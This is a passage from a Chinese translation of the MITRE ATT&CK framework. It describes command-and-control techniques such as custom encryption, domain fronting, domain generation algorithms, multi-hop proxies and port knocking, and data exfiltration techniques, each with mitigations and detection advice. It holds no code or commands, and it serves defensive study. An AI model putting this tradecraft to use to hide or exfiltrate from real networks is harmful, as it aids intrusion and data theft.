| 过滤网络流量 | 过滤网络流量以查找异常或非标准协议。 |
| 网络入侵防御 | 使用网络签名来识别特定恶意软件的流量的网络入侵检测和防御系统可用于缓解网络级别的活动。 签名通常是用于协议内的唯一识别符，并且是基于特定对手或工具使用的特定协议，并且可能在各种恶意软件系列和版本之间不同。 攻击者可能会随着时间的推移改变工具 C2 签名，或者以避免共同防御工具检测的方式构建协议。 |
| 网络分段 | 正确配置防火墙和代理，以限制仅通过必要端口和适当的网络网关系统的传出流量。 还要确保仅配置主机以通过授权接口进行通信。 |

检测

分析 ICMP 消息或包含异常数据的其他协议的网络流量，或者通常在网络内部或网络中看不到的网络流量。

分析不常见数据流的网络数据（例如，客户端发送的数据明显多于从服务器接收的数据）。 利用通常不具有网络通信或从未见过的网络的过程是非常可疑的。 分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信。

监视和探查与启用和利用备用通信通道相关的功能的 API 调用。

# 10.5 自定义加密协议

编号： T1024

技术： 命令与控制

平台： Linux, macOS, Windows

数据源： 网络抓包，Netflow/Enclave 技术网络流分析，进程使用网络，恶意代码逆向工程，进程监控

是否需要网络：是

版本： 1.0

攻击者可以使用自定义加密协议或算法来隐藏命令与控制流量。 一个简单的方案，例如用固定密钥对明文进行异或，将产生一个非常弱的密文。

自定义加密方案的复杂程度可能不同。 恶意软件样本的分析和逆向工程可能足以发现所使用的算法和加密密钥。

一些攻击者还可能尝试实现他们自己版本的众所周知的加密算法，而不是使用已知的实现库，这可能导致意想不到的错误。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用网络签名来识别特定恶意软件的流量的网络入侵检测和防御系统可用于缓解网络级别的活动。 由于使用的自定义协议可能不符合典型的协议标准，因此可能有机会在网络级别识别流量以进行检测。 签签名通常是用于协议内的唯一识别符，并且是基于特定对手或工具使用的特定协议，并且可能在各种恶意软件系列和版本之间不同。 攻击者可能会随着时间的推移改变工具 C2 签名或构建协议，以避免被常见的防御工具检测到。 |

## 检测

如果恶意软件使用带有对称密钥的自定义加密，则可以从样本中获取算法和密钥，并使用它们来解码网络流量以检测恶意软件通信签名。

通常，分析网络数据以寻找不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。 利用通常不具有网络通信或从未见过的网络的过程是可疑的。 分析数据包内容以检测通信何时不遵循正在使用的端口的预期协议行为。

# 10.6 数据编码

编号： T1132

技术： 命令与控制

平台： Linux, macOS, Windows

所需权限： 用户

数据源： 网络抓包，进程使用网络，进程监控，网络协议分析

是否需要网络：是

贡献者: Itzik Kotler, SafeBreach

版本： 1.0

使用标准数据编码系统对命令与控制（C2）信息进行编码。 数据编码的使用可以遵循现有协议规范，并且包括使用 ASCII，Unicode，Base64，MIME，UTF-8 或其他二进制到文本和字符编码系统。 某些数据编码系统也可能导致数据压缩，例如 gzip。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用网络签名来识别特定恶意软件的流量的网络入侵检测和防御系统可用于缓解网络级别的活动。 签名通常用于协议内的唯一识别符，基于特定对手或工具使用的特定混淆技术，并且可能在各种恶意软件系列和版本之间不同。攻击者可能会随着时间的推移改变工具 C2 签名或构建协议，以避免被常见的防御工具检测到。 |

检测

分析不常见数据流的网络数据（例如，客户端发送的数据明显多于从服务器接收的数据）。 利用通常不具有网络通信或从未见过的网络的过程是可疑的。 分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信。

# 10.7 数据混淆

编号：T1001

技术：命令与控制

平台：Linux，macOS，Windows

数据源：网络抓包，网络进程使用，进程监控，网络协议分析

是否需要网络：是

| 版本：1.0 |
| --- |

攻击者可能会试图隐藏（但不一定加密）C&C 通信来使得内容更难以被发现或解密，使得通信不那么明显，并防止命令被看到。方法有多种多样，例如添加垃圾数据到协议流量，使用隐写术，混合合法流量和 C&C 通信流量，或使用非标准数据编码系统（例如使用修改的 Base64 来对 HTTP 请求消息主体进行编码）。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。 |

检测

分析网络数据中不常见的数据流（例如，一个客户端发送的数据比从服务器接收的数据要多得多，或者一个客户端给另外一个不应该或经常不相互通信的客户端发送了数据）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 10.8 域名前置

| 编号：T1172<br>技术：命令与控制<br>平台：Linux，macOS，Windows<br>数据源：SSL/TLS 检查，网络抓包<br>是否需要网络：是<br>贡献者：Matt Kelly，@breakersall<br>版本：1.0 |
| --- |

域名前置技术利用内容交付网络（CDN）及其他拥有多个域的服务的路由方案来混淆 HTTPS 流量或通过 HTTPS 通道传输的流量的预期目的地。该技术涉及在 TLS 头的 SNI 字段和 HTTP 头的 Host 字段中使用不同的域名。如果两个域来自同一个 CDN，则 CDN 可以在解开 TLS 头后路由到 HTTP 头中指定的地址。该技术的变体，“无域名”前置，将 SNI 字段留空。即使 CDN 尝试来验证 SNI 和 HTTP Host 字段匹配（如果忽略了留空的 SNI 字段），数据仍可最终到达目的地。

例如，如果域-x 和域-y 属于同一个 CDN，则可以将域-x 放在 TLS 头中，将域-y 放在 HTTP 头中。数据看起来将流向域-x，但是 CDN 可能会将其路由到域-y。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 为了使用域名前置技术，攻击者可能需要部署一些额外的工具到入侵的系统。可使用应用白名单来防止攻击者安装这些工具。 |
| SSL/TLS 检查 | 如果可以检查 HTTPS 流量，则可以分析抓包内容来查看是否有域名前置技术相关的连接。 |

检测

如果 SSL 检查已就绪或数据未加密，则可以检查 HTTP 头的 Host 字段是否与 HTTPS SNI 匹配或检查其是否与域名黑名单或白名单对应。

# 10.9 域名生成算法

编号：T1483

技术：命令与控制

平台：Linux，macOS，Windows

所需权限：用户

数据源：网络进程使用，网络抓包，网络设备日志，Netflow/Enclave 技术网络流分析，DNS 记录

贡献者：Sylvain Gil，Exabeam；Barry Shteiman，Exabeam；Ryan Benson，Exabeam

版本：1.0

攻击者可能会利用域名生成算法（DGA）来动态识别 C&C 流量的目的地，而不是依赖于静态 IP 地址或域的列表。这样做的好处是，防御程序很难阻止、跟踪或接管命令与控制通道，因为恶意软件可能会检查成千上万个域以等待指示。

DGA 算法通过生成每个字母来构造域名时，可能会采用看似随机或“莫名其妙的”字符串（例如：istgmxdejdnxuyla.ru）。或者，某些 DGA 算法使用完整的单词作为单位，将单词（而不是字母）连接在一起（例如：cityjulydish.net）。 许多 DGA 算法基于时间，在每个时间段（每小时，每天，每月等）生成一个不同的域名。另一些则还包含种子值，使得防御程序更难预测未来的域名。

攻击者可能出于失败回退渠道的目的而使用 DGA 算法。 当失去与主要 C&C 服务器的联系时，恶意软件可能会使用 DGA 算法来重新建立命令与控制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。恶意软件研究人员可以对使用 DGA 算法的恶意软件变体进行反向工程，并确定该恶意软件将来会试图联系的域，但这是一项耗费时间和资源的工作。恶意软件也越来越多地加入种子值（这些种子值对于每个实例都是唯一的），然后需要确定这些种子值以提取将来会生成的域。某些情况下，可以从 DNS 流量中提取特定样本使用的种子。即便如此，每天仍可能产生数千个域。因此，防御程序由于成本而抢先注册所有可能的 C&C 域是不切实际的。 |
| Web 内容限制 | 某些情况下，可以使用本地 DNS 沉洞来帮助以较低的成本防止基于 DGA 的命令与控制。 |

检测

检测动态生成的域是一项挑战，因为有各式各样的 DGA 算法，恶意软件家族在不断发展而且算法复杂性也在提高。有多种方法可检测伪随机生成的域名，包括使用频率分析，马尔可夫链，熵，字典单词比例，元音与其他字符的比例等。CDN 域可能会由于其域名格式而触发这些检测。除了基于名称检测 DGA 域外，另一种用于检测可疑域的更通用方法是检查最近注册的名称或访问很少的域。

已经开发了用于检测 DGA 域的机器学习方法，并在应用程序中取得了成功。其中一种是使用 N-Gram 方法来确定域名中字符串的随机性得分。如果随机分数很高而且该域没有列入白名单（CDN 等），则可以确定域是否与合法主机或 DGA 相关。另一种是使用深度学习方法将域归类为 DGA 生成的域。

# 10.10 失败回退通道

编号：T1008

技术：命令与控制

平台：Linux，Windows，macOS

数据源：恶意软件反向工程，Netflow/Enclave 技术网络流分析，网络抓包，进程监控，网络进程使用

是否需要网络：是

版本：1.0

如果主要渠道遭到破坏或无法访问，则攻击者可能会使用回退或备用通信渠道来维持可靠的命令与控制并避免数据传输阈值。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定协议，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能会随着时间的推移更改工具 C&C 签名，或者构建协议来逃避常见防御工具的检测。 |

检测

分析网络数据中不常见的数据流（例如，一个客户端发送的数据比从服务器接收的数据要多得多）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 10.11 多跳代理

编号：T1188

技术：命令与控制

平台：Linux，macOS，Windows

数据源：网络协议分析，Netflow/Enclave 技术网络流分析

是否需要网络：是

版本：1.0

为了掩盖恶意流量的来源，攻击者可能会将多个代理链接在一起。通常，防御程序能够识别最后一个穿过它进入其网络的代理通信流量；防御程序可能能够或无法识别最后一跳代理之前的任何其它代理。这种技术要求防御程序跟踪多个代理上的恶意流量来识别其来源，使得识别恶意流量的来源更加困难。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络流量过滤 | 可使用网络黑名单和白名单来阻止流量进入已知匿名网络和 C&C 基础设施。值得注意的是，有些技术如域名前置可能能够规避此措施。 |

### 检测

观察多跳代理的使用时，可找出来自实际 C&C 服务器的网络数据与入流和出流之间的关系从而追溯到恶意流量的来源。也可以通过检查向使用此技术的已知匿名网络（如 Tor）或已知攻击者基础设施发送的流量警报来检测多跳代理。

## 10.12 多段信道

编号： T1104

技术： 命令与控制

平台： Linux, macOS, Windows

数据源： Netflow/Enclave 技术网络流分析，网络设备日志，网络协议分析，网络抓包，进程使用网络

是否需要网络：是

版本： 1.0

攻击者可以创建用于在不同条件下或用于某些功能的命令与控制的多个阶段。 使用多个阶段可能会混淆命令与控制通道，使检测更加困难。

远程访问工具将回调第一阶段命令与控制服务器以获取指令。 第一阶段可能具有自动化功能，可收集基本主机信息，更新工具和上载其他文件。 此时可以上载第二个远程访问工具（RAT），以将主机重定向到第二阶段命令与控制服务器。 第二阶段可能会更加全面，并允许对手通过反向外壳和其他 RAT 功能与系统进行交互。

不同的阶段可能会单独托管，没有重叠的基础设施。如果第一阶段通信路径被发现和阻止，加载器还可以具有备用的第一级回调或回退信道。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用网络签名来识别特定恶意软件的流量的网络入侵检测和防御系统可用于缓解网络级别的活动。 |

### 检测

网络连接相关的未知或可疑进程活动的主机数据对于补充基于恶意软件命令与控制签名和基础架构的任何现有损害指标非常重要。 将发现的系统和网络信息或横向移动可能导致的后续操作与原始过程相关联也可以产生有用的数据。

# 10.13 多频段通信

编号： T1026

技术： 命令与控制

平台： Linux, macOS, Windows

数据源： 网络抓包，Netflow/Enclave 技术网络流分析，进程使用网络，恶意代码逆向工程，进程监控

是否需要网络：是

版本： 1.0

一些攻击者可能会分开不同协议之间的通信。一个用于入站命令与控制的协议，另一个用于出站数据，可以让它绕过某些防火墙限制。 拆分也可以是随机的，以简单地避免任何一个通信上的数据阈值警报。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用网络签名来识别特定恶意软件的流量的网络入侵检测和防御系统可用于缓解网络级别的活动。 签名通常用于协议内的唯一识别符，基于特定攻击者或工具使用的特定协议，并且可能在各种恶意软件系列和版本之间不同。 攻击者可能会随着时间的推移改变工具 C2 签名或构建协议，以避免被常见的防御工具检测到。 |

检测

分析不常见数据流的网络数据（例如，客户端发送的数据明显多于从服务器接收的数据）。 利用通常不具有网络通信的网络或从未见过的网络的过程是可疑的。 分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信。 关联多个通信通道之间的警报可以进一步帮助识别命令与控制行为。

# 10.14 多层加密

编号： T1079

技术： 命令与控制

平台： Linux, macOS, Windows

数据源： 网络抓包，进程使用网络，恶意代码逆向工程，进程监控

是否需要网络：是

版本： 1.0

攻击者使用多层加密执行 C2 通信，通常（但不是唯一地）在协议加密方案（例如 HTTPS 或 SMTPS）内隧道化自定义加密方案。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用网络签名来识别特定恶意软件的流量的网络入侵检测和防御系统可用于缓解网络级别的活动。使用加密协议可能使得典型的基于网络的 C2 检测更加困难。 对攻击 C2 基础设施的先验知识可能对域和 IP 地址阻止有用，但可能不是一个有效的长期解决方案，因为攻击者可以经常更改它们。 |

### 检测

如果恶意软件使用标准加密协议，则可以使用 SSL / TLS 检查来检测某些加密通信信道中的命令与控制流量。 SSL / TLS 检查存在一些在实施之前应该考虑的风险，以避免潜在的安全问题，例如证书验证不完整。在 SSL / TLS 检查之后，可能需要额外的加密分析来分析第二层加密。

如果恶意软件使用带对称密钥的自定义加密协议，则可以从样本中获取算法和密钥，并使用它们来解码网络流量以检测恶意软件通信签名。

通常，分析网络数据以寻找不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。利用通常不具有网络通信或从未见过的网络的过程是可疑的。分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信。

## 10.15 端口试探

编号： T1205

技术： 防御逃逸，持久化，命令与控制

平台： Linux, macOS

所需权限： 用户

需要网络: 是

绕过的防御: 防御网络服务扫描

版本： 1.0

端口敲击是防御者和对手用来隐藏开放端口以阻止访问的成熟方法。要启用端口，攻击者会在打开端口之前发送一系列具有特定特征的数据包。通常，这一系列数据包包括尝试连接到预定义的封闭端口序列，但可能涉及异常标志、特定字符串或其他唯一特征。序列完成后，打开端口通常由基于主机的防火墙完成，但也可以通过自定义软件实现。

对于侦听端口的动态打开以及启动与不同系统上的侦听服务器的连接，该技术已备受关注。

可以通过不同方法对信号数据包进行观察以触发通信。一种手段，最初由 Cd00r 实现，是使用 libpcap 库来嗅探有问题的数据包。另一种方法利用原始套接字，使恶意软件能够使用已打开供其他程序使用的端口。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 过滤网络流量 | 可通过使用有状态防火墙来缓解此技术的某些变体，具体取决于其实现方式. |

检测

记录发送到系统或从系统发送的网络数据包，查找不属于已建立流的无关数据包.

# 10.16 远程访问工具

编号： T1219

技术： 命令与控制

平台： Linux, Windows, macOS

所需权限： 用户

数据源： 网络入侵检测系统，网络协议分析，进程使用网络，网络监控

是否需要网络：是

贡献者: Matt Kelly, @breakersall

版本： 1.0

攻击者可以使用合法的桌面支持和远程访问软件，例如 Team Viewer，Go2Assist，LogMein，AmmyyAdmin 等，来建立网络内目标系统的交互式命令与控制通道。这些服务通常用作合法的技术支持软件，并且可以在目标环境中列入白名单。与攻击者常用的其他合法软件相比，VNC，Ammy 和 Teamviewer 等远程访问工具经常被使用。

在入侵后使用远程访问工具作为冗余访问的备用通信信道，或者作为与目标系统建立交互式远程桌面会话的方式。它们还可以用作恶意软件的组件，以建立反向连接或反向连接到服务或对手控制的系统。

TeamViewer 等管理工具已被多个针对俄罗斯政府和犯罪活动感兴趣的国家/地区的机构的团体使用。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 使用应用程序白名单来减轻可用于远程访问的未批准软件的安装和使用。 |
| 过滤网络流量 | 正确配置防火墙，应用程序防火墙和代理，以限制远程访问工具使用的站点和服务的传出流量。 |
| 网络入侵防御 | 使用网络签名的网络入侵检测和防御系统可能能够阻止到远程访问服务的流量。 |

检测

监控与远程管理工具相关的应用程序和流程。 如果合法用户和管理员使用这些工具，则将活动与其他可疑行为相关联以减少误报。

分析不常见数据流的网络数据（例如，客户端发送的数据明显多于从服务器接收的数据）。 利用通常不具有网络通信或从未见过的网络的过程是可疑的。 分析数据包内容以检测不遵循正在使用的端口的预期协议的应用程序层协议。

Domain Fronting 可以被结合使用以避免防御。 攻击者可能需要将这些远程工具部署和/或安装到受感染的系统。 可以使用基于主机的解决方案来检测或阻止这些工具的安装。

# 10.17 远程文件复制

编号：T1105

技术：命令与控制，横向移动

平台：Linux，macOS，Windows

所需权限：用户

数据源：文件监控，网络抓包，网络进程使用，Netflow/Enclave 技术网络流分析，网络协议分析，进程监控

是否需要网络：是

版本：1.0

攻击者可能会将文件从一个系统复制到另外一个系统，以便在操作过程中使用他们自己的工具或文件。攻击者可能会通过命令与控制通道或者通过其它协议工具（如 FTP）从外部他们自己控制的系统中拷贝文件，从而将他们的工具放置到所攻击的网络中。 攻击者还可能会使用 Mac 或 Linux 自带工具 scp，rsync 和 sftp 等来复制文件。

攻击者还可能会通过远程执行（使用系统固有的文件共享协议，比如 SMB 文件共享）或已认证的连接（使用 Windows 管理员共享或远程桌面协议）在内部已攻击系统之间横向复制文件，从而支持横向移动。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量或异常数据传输（通过已知工具和协议，如 FTP）的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定混淆技术，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能会随着时间的推移更改工具 C2 签名，或者构建协议来逃避常见防御工具的检测。 |

检测

监控文件创建和通过 SMB 在网络内传输的文件。与外网连接的异常进程在系统上创建文件是可疑的。使用通常不会使用的实用程序（例如 FTP）也可能是可疑的。

分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。

如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

## 10.18 标准应用层协议

编号：T1071

技术：命令与控制

平台：Linux，macOS，Windows

数据源：网络抓包，Netflow/Enclave 技术网络流分析，网络进程使用，恶意软件反向工程，进程监控

是否需要网络：是

版本：1.0

攻击者可能会基于常见的标准化应用程序层协议（例如 HTTP，HTTPS，SMTP 或 DNS）进行通信，将他们的通信数据与现有通信数据混合，从而规避检测。远程系统的命令（通常是这些命令的结果）将嵌入到客户端和服务器之间的协议数据中。

飞地内连接（例如，代理或枢纽节点与其他节点之间的连接）的常用协议为 RPC，SSH 或 RDP。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。 |

检测

分析网络数据中不常见的数据流（例如，一个客户端发送的数据比从服务器接收的数据要多得多）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 10.19 标准加密协议

编号：T1032

技术：命令与控制

平台：Linux，macOS，Windows

数据源：网络抓包，Netflow/Enclave 技术网络流分析，恶意软件反向工程，网络进程使用，进程监控，SSL/TLS 检查

是否需要网络：是

版本：1.0

攻击者可能会明确采用已知的加密算法来隐藏命令与控制流量，而不是依赖于通信协议自己提供的任何保护。尽管使用了安全算法，但是如果在恶意软件样本/配置文件中对必要的秘密密钥进行了编码和/或生成，则这些实现可能容易受到逆向工程的影响。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。 |
| SSL/TLS 检查 | 可通过 SSL/TLS 检查来查看加密会话的内容，从而查找恶意软件通信协议的网络指示信息。 |

### 检测

SSL/TLS 检查是在某些加密通信通道中检测命令与控制流量的一种方法。SSL /TLS 检查的确带有某些风险。在实施之前应考虑这些风险来避免潜在的安全问题，例如不完整的证书验证。

如果恶意软件使用对称密钥加密，则有可能从样本中获取算法和密钥来解码网络流量从而检测恶意软件的通信签名。

总之，分析网络数据中不常见的数据流（例如，一个客户端发送的数据比从服务器接收的数据要多得多）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

## 10.20 标准非应用层协议

编号： T1095

技术： 命令与控制

平台： Windows, Linux, macOS

数据源： 主机网络接口，Netflow/Enclave 技术网络流分析，网络入侵检测系统，网络协议分析，网络抓包，进程网络访问

是否需要网络：是

贡献者: Ryan Becwar

版本： 1.0

使用标准的非应用层协议进行主机与 C2 服务器之间或网络中受感染主机之间的通信。 可能的协议列表很广泛。具体示例包括使用网络层协议，如 Internet 控制消息协议（ICMP），传输层协议（如用户数据报协议（UDP）），会话层协议（如 Socket Secure（SOCKS）），以及重定向/隧道协议，例如 Serial over LAN（SOL）。

主机之间的 ICMP 通信就是一个例子。 由于 ICMP 是 Internet 协议套件的一部分，因此需要所有与 IP 兼容的主机实施；但是，它不像其他因特网协议（如 TCP 或 UDP）那样受到监视，并且可能被对手用来隐藏通信。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 过滤网络流量 | 过滤网络流量以防止跨越网络边界使用不必要的协议。 |
| 网络入侵防御 | 使用网络签名识别特定恶意软件流量的网络入侵检测和防御系统可用于缓解网络级别的活动。 |
| 网络分段 | 正确配置防火墙和代理，以限制仅通过必要端口和适当的网络网关系统的传出流 |

| | |
|---|---|
| | 量。 还要确保仅配置主机以通过授权接口进行通信。 |

检测

分析 ICMP 消息或包含异常数据的其他协议的网络流量，或者通常在网络内部或网络中看不到的网络流量。

分析不常见数据流的网络数据（例如，客户端发送的数据明显多于从服务器接收的数据）。利用通常不具有网络通信或从未见过的网络的过程是可疑的。 分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信。

监视和调查与启用和/或利用备用通信通道相关的功能的 API 调用。

# 10.21 不常用的端口

编号：T1065

技术：命令与控制

平台：Linux，macOS，Windows

数据源：Netflow/Enclave 技术网络流分析，网络进程使用，进程监控

是否需要网络：是

版本：1.0

攻击者可能会通过非标准端口进行 C&C 通信，从而绕过配置不当的代理和防火墙。

缓解

| **缓解措施** | **说明** |
|---|---|
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。 |
| 网络分区 | 正确配置防火墙和代理，限定外发流量给特定网段上必需的端口。 |

检测

分析网络数据中不常见的数据流（例如，一个客户端发送的数据比从服务器接收的数据要多得多）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 10.22 Web 服务

编号：T1102

技术：命令与控制，防御逃逸

平台：Linux，macOS，Windows

所需权限：用户

数据源：主机网络接口，Netflow/Enclave 技术网络流分析，网络协议分析，网络抓包，SSL/TLS 检查

是否需要网络：是

绕过的防御：二进制分析，日志分析，防火墙

贡献者：Anastasios Pingios

版本：1.0

攻击者可能会使用现有的合法外部 web 服务作为将命令中继到以攻破系统的手段。

这些命令还可以包括指向命令与控制（C2）基础结构的指针。攻击者可能会在使用嵌入式（通常是经过混淆/编码的）域或 IP 地址的 web 服务上发布内容，称为死点解析器。一旦感染，受害者将会到达并被这些解析器重定向。

作为 C2 机制的流行网站和社交媒体可能会提供大量掩护，因为网络中的主机可能在入侵前已经与它们通信了。攻击者更容易在常见服务（例如 Google 或 Twitter 提供的服务）中隐藏自己。Web 服务提供商通常使用 SSL / TLS 加密，反而为攻击者提供了额外的保护。

使用 web 服务还可以保护后端 C2 基础结构免被通过恶意软件二进制分析而发现，同时还可以实现操作弹性（因为该基础结构可以动态更改）。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防护 | 使用通过网络签名识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别的活动影响。 |
| Web 内容限制 | 使用 web 代理来实施外部网络通信策略，防止使用未经授权的外部服务。 |

## 检测

与已知或可疑进程活动（通过网络连接）相关的主机数据很重要，它们可用于补充基于恶意软件命令的攻击指标，也可用于控制签名以及基础结构或强加密的出现。如果数据已加密，则网络抓包分析需要 SSL / TLS 检查。分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。用户行为监控可能有助于检测异常活动模式。分析数据包内容以检测未遵循所用端口预期协议行为的通信。

# 11. 数据渗漏

## 11.1 自动化数据渗漏

编号：T1020

技术：数据渗漏

平台：Linux，macOS，Windows

数据源：文件监控，进程监控，网络进程使用

是否需要网络：是

版本：1.0

在收集过程中收集的数据（如敏感文档）可能会通过自动化处理或脚本渗漏出去。

自动化渗漏技术可与其他渗漏技术，例如经由 C&C 的数据渗漏和备用协议上的数据渗漏，结合起来将信息传输到网络之外。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控进程文件访问模式和网络行为。如果有无法识别的进程或脚本似乎正在遍历文件系统并发送网络流量，则是可疑的。

## 11.2 数据压缩

编号：T1002

技术：数据渗漏

平台：Linux，Windows，macOS

数据源：二进制文件元数据，文件监控，进程命令行参数，进程监控

| |
|---|
| 是否需要网络：否<br>版本：1.0 |

攻击者可能会压缩数据渗漏之前收集的数据（例如，敏感文档）来使得数据更加轻便，并将通过网络发送的数据量降至最低。压缩和渗漏通道是分开的。数据是使用自定义程序/算法或通用压缩库/实用程序（如 7zip、RAR、ZIP 或 zlib）来压缩的。

缓解

| 缓解措施 | 说明 |
|---|---|
| 网络入侵防御 | 可以将网络入侵防御或数据丢失防御工具设置为阻止特定文件类型通过未加密的通道离开网络。在这些情况下，攻击者可能会移向加密通道或使用其他流量封装机制。 |

检测

可通过多种方式来检测压缩软件和压缩文件。监控进程和已知压缩实用程序的命令行参数来检测系统中可能存在的或由攻击者引入的通用实用程序。这可能会产生大量良性事件，具体取决于环境中系统的典型使用方式。

如果通信通道未加密，则可以通过网络入侵检测或使用数据丢失防御系统来分析文件头，从而检测数据渗漏过程中正在传输的压缩文件。

# 11.3 数据加密

| |
|---|
| 编号：T1022<br>技术：数据渗漏<br>平台：Linux，macOS，Windows<br>数据源：文件监控，进程监控，进程命令行参数，二进制文件元数据<br>是否需要网络：否<br>版本：1.0 |

渗漏之前先加密数据是为了躲避检测，或使得数据渗漏在防御程序检查时不那么明显。加密是由实用程序、编程库或自定义算法对数据本身执行的。这种加密与由 C&C 或文件传输协议执行的加密是分开的。常见可加密的压缩格式包括 RAR 和 zip。

数据加密技术可与其他渗漏技术，例如经由 C&C 的数据渗漏和备用协议上的数据渗漏，结合起来将信息传输到网络之外。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

可以通过多种方式检测加密软件和加密文件。监控进程和已知加密实用程序的命令行参数来检测系统中可能存在的或由攻击者引入的通用实用程序。这可能会产生大量良性事件，具体取决于环境中系统的典型使用方式。通常，加密密钥在软件命令行调用中声明。

加载 Windows 动态链接库 crypt32.dll 的进程可用于执行加密、解密或文件签名验证。

还可以对网络流量进行熵分析来确定是否正在传输加密数据。如果通信通道未加密，则可以通过网络入侵检测或使用数据丢失防御系统来分析文件头，从而检测数据渗漏过程中正在传输的加密文件。

## 11.4 数据传输大小限制

编号： T1030

技术： 数据渗漏

平台： Linux, macOS, Windows

数据源： 网络抓包，Netflow/Enclave 技术网络流分析，进程使用网络，进程监控

是否需要网络：是

版本： 1.0

攻击者可以以固定大小的块而不是整个文件来泄露数据，或者将数据包大小限制在特定阈值以下。 该方法可用于避免触发网络数据传输阈值警报。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 网络入侵检测和防御系统使用网络签名来识别特定对手命令与控制基础架构和恶意软件的流量，可用于缓解网络级别的活动。 |

### 检测

分析不常见数据流的网络数据（例如，客户端发送的数据明显多于从服务器接收的数据）。如果进程维持长连接，在此期间它始终发送固定大小的数据包，或者进程打开连接并定期发送固定大小的数据包，则可能正在执行聚合数据传输。 利用通常不具有网络通信或从未见过的网络的过程是可疑的。 分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信。

# 11.5 备用协议上的数据渗漏

编号：T1048

技术：数据渗漏

平台：Linux，macOS，Windows

数据源：用户接口，进程监控，网络进程使用，网络抓包，Netflow/Enclave 技术网络流分析，网络协议分析

是否需要网络：是

版本：1.0

数据渗漏是通过与主 C&C 协议或通道不同的协议执行的。数据可能会从主 C&C 服务器发送到备用网络位置。备用协议包括 FTP，SMTP，HTTP/S，DNS 或某些其他网络协议。通道可能包括 Internet web 服务，例如云存储。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 网络流量过滤 | 强制代理并为 DNS 等服务使用专用服务器，并且只允许这些系统通过各自的端口/协议进行通信，而不是通过网络中的所有系统进行通信。 |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者 C&C 基础软件及恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。 |
| 网络分区 | 请遵循网络防火墙配置的最佳实践，仅允许必要的端口和流量进入和退出网络。 |

检测

分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。命令与控制通道渗漏

# 11.6 C&C 通道的数据渗漏

编号：T1041

技术：数据渗漏

平台：Linux，macOS，Windows

数据源：用户接口，进程监控

| |
|---|
| 是否需要网络：是<br>版本：1.0 |

